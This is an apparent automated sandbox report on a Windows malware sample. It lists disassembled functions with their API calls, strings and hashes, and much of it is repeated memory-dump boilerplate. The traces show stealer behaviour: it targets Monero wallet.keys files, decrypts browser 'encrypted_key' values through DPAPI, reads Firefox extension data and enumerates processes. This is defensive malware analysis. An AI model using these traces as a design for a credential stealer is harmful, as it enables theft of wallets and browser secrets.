SetEnvironmentVariableA.KERNEL32(01348B30,00000000,00000000,?,001A12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,001A0AFE), ref: 0018A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0018A0B2, 0018A0C6, 0018A0DC

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-4027016359
Opcode ID: 45ab2c0023c733b7f390ec4dffcb3a3233c34157f6a58c10f8c0294be7f91ab9
Instruction ID: cf0309ec5654065534bc2ce2a3aa0efd4c27f048f930ae4fb8dbd1c9ab5948ea
Opcode Fuzzy Hash: 45ab2c0023c733b7f390ec4dffcb3a3233c34157f6a58c10f8c0294be7f91ab9
Instruction Fuzzy Hash: 844160B19115089FCB06EFA4EC89EAA73BCBB19309F540119F505D32A0DB356A55CF93

Function 0018A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 00198B60: GetSystemTime.KERNEL32(001A0E1A,01349DE8,001A05AE,?,?,001813F9,?,0000001A,001A0E1A,00000000,?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 00198B86

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0018A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0018A3FF
lstrlen.KERNEL32(00000000), ref: 0018A6BC

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

DeleteFileA.KERNEL32(00000000), ref: 0018A743

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: f778dff9302230adf1aa6d59c26a118b18e57b6be11ce39c5a55f7739cdf568e
Instruction ID: 9bcdd93f7f9e2dbd7233f1a5ed79789ab4cf221e1a54083cdf1f2f92e4125f0a
Opcode Fuzzy Hash: f778dff9302230adf1aa6d59c26a118b18e57b6be11ce39c5a55f7739cdf568e
Instruction Fuzzy Hash: 5DE1CD728201189BDF05FBA4DC92EEE733CAF64305F908159F516B6091EF346A4DCBA6

Function 0018D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 00198B60: GetSystemTime.KERNEL32(001A0E1A,01349DE8,001A05AE,?,?,001813F9,?,0000001A,001A0E1A,00000000,?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 00198B86

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0018D801
lstrlen.KERNEL32(00000000), ref: 0018D99F
lstrlen.KERNEL32(00000000), ref: 0018D9B3
DeleteFileA.KERNEL32(00000000), ref: 0018DA32

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 10c133fc3d018fa995d12d6e7206f18792fb7bb662ac6ead45db2f09e97785ae
Instruction ID: e32c3c419ad8b7a23fccdcefbda15320e43c2bb91902def9915a727b74285c99
Opcode Fuzzy Hash: 10c133fc3d018fa995d12d6e7206f18792fb7bb662ac6ead45db2f09e97785ae
Instruction Fuzzy Hash: EE81CC729201189BDF09FBA4DD96DEE733CAF24305F904529F506A6091EF346A0DCBE6

Function 0018F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0019A7E6

Part of subcall function 001899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001899EC
Part of subcall function 001899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00189A11
Part of subcall function 001899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00189A31
Part of subcall function 001899C0: ReadFile.KERNEL32(000000FF,?,00000000,0018148F,00000000), ref: 00189A5A
Part of subcall function 001899C0: LocalFree.KERNEL32(0018148F), ref: 00189A90
Part of subcall function 001899C0: CloseHandle.KERNEL32(000000FF), ref: 00189A9A

Part of subcall function 00198E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00198E52

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

Part of subcall function 0019A920: lstrcpy.KERNEL32(00000000,?), ref: 0019A972
Part of subcall function 0019A920: lstrcat.KERNEL32(00000000), ref: 0019A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,001A1580,001A0D92), ref: 0018F54C
lstrlen.KERNEL32(00000000), ref: 0018F56B

Strings

^userContextId=4294967295, xrefs: 0018F59C
moz-extension+++, xrefs: 0018F5AD

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: 308b8e9c664c4f1341878df1e7550c6ae21981b71a1e8e775196f1be86acf1f2
Instruction ID: 47bf0fdcdaac1557fb4f48145f13735055f774bbf41b9c37458b2cbb5e5c1e08
Opcode Fuzzy Hash: 308b8e9c664c4f1341878df1e7550c6ae21981b71a1e8e775196f1be86acf1f2
Instruction Fuzzy Hash: 1251BF75D10108AADF08FBE4DC56DED7379AF64304F908528F916A6191EF346A0DCBE2

Function 00189CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

Part of subcall function 001899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 001899EC
Part of subcall function 001899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00189A11
Part of subcall function 001899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00189A31
Part of subcall function 001899C0: ReadFile.KERNEL32(000000FF,?,00000000,0018148F,00000000), ref: 00189A5A
Part of subcall function 001899C0: LocalFree.KERNEL32(0018148F), ref: 00189A90
Part of subcall function 001899C0: CloseHandle.KERNEL32(000000FF), ref: 00189A9A

Part of subcall function 00198E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00198E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00189D39

Part of subcall function 00189AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00184EEE,00000000,00000000), ref: 00189AEF
Part of subcall function 00189AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00184EEE,00000000,?), ref: 00189B01
Part of subcall function 00189AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00184EEE,00000000,00000000), ref: 00189B2A
Part of subcall function 00189AC0: LocalFree.KERNEL32(?,?,?,?,00184EEE,00000000,?), ref: 00189B3F

Part of subcall function 00189B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00189B84
Part of subcall function 00189B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 00189BA3
Part of subcall function 00189B60: LocalFree.KERNEL32(?), ref: 00189BD3

Strings

"encrypted_key":", xrefs: 00189D30
DPAPI, xrefs: 00189D89
, xrefs: 00189DC1

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 266d4bfac107f2b0e881fa245052f87a4ec1502227532f5464f2c1f68fd19ea6
Instruction ID: 40ebe440a435fdb8bf82fe06517af49fb12245075c84514a1b3850b02f473f60
Opcode Fuzzy Hash: 266d4bfac107f2b0e881fa245052f87a4ec1502227532f5464f2c1f68fd19ea6
Instruction Fuzzy Hash: 7C3110B6D10109ABCF04EBE4DC85AFEB7B8AF58304F184519E905A7241E7359A04CBA5

Function 00198680 Relevance: 6.1, APIs: 4, Instructions: 77processCOMMON

Download Yara Rule

APIs

Part of subcall function 0019A740: lstrcpy.KERNEL32(001A0E17,00000000), ref: 0019A788

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,001A05B7), ref: 001986CA
Process32First.KERNEL32(?,00000128), ref: 001986DE
Process32Next.KERNEL32(?,00000128), ref: 001986F3

Part of subcall function 0019A9B0: lstrlen.KERNEL32(?,01348820,?,\Monero\wallet.keys,001A0E17), ref: 0019A9C5
Part of subcall function 0019A9B0: lstrcpy.KERNEL32(00000000), ref: 0019AA04
Part of subcall function 0019A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0019AA12

Part of subcall function 0019A8A0: lstrcpy.KERNEL32(?,001A0E17), ref: 0019A905

CloseHandle.KERNEL32(?), ref: 00198761

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000028F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000029E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000325000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000345000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000034B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.00000000003DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000056C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000656000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.0000000000676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000067F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271169079.000000000068D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271516588.000000000068E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271759318.0000000000830000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2271785006.0000000000831000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_180000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcatlstrlen
String ID:
API String ID: 1066202413-0
Opcode ID: 0cbb35360c68df0503cbca6a5b2b6f11bb839aaa3df0d9dc4d3f147513d7c757
Instruction ID: ddfb6d9ebb2d2808e274e6e15cb2a741d014bb6d215feaee0253822f1d174797
Opcode Fuzzy Hash: 0cbb35360c68df0503cbca6a5b2b6f11bb839aaa3df0d9dc4d3f147513d7c757
Instruction Fuzzy Hash: C0316871911218ABCF29EF90DC55FEEB778FF59700F504199E10AA21A0DB306A49CFA1

Function 00196AF3 Relevance: 6.0, APIs: 4, Instructions: 30sleepCOMMON

Download Yara Rule

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,01348B50,?,001A110C,?,00000000,?,001A1110,?,00000000,001A0AEF), ref: 00196ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00196AE8
CloseHandle.KERNEL32(00000000), ref: 00196AF9
Sleep.KERNEL32(00001770), ref: 00196B04
CloseHandle.KERNEL32(?,00000000,?,01348B50,?,001A110C,?,00000000,?,001A1110,?,00000000,001A0AEF), ref: 00196B1A
ExitProcess.KERNEL32 ref: 00196B22

Memory Dump Source

Source File: 00000000.00000002.2270665398.0000000000181000.00000040.00000001.01000000.00000003.sdmp, Offset: 00180000, based on PE: true

Associated: 00000000.00000002.2270635168.0000000000180000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.00000000001DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000205000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000208000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000020F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000212000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000231000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000023D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.0000000000262000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2270665398.000000000026F000.00000040.00000001.01000000.00000003.sdmpDownload File
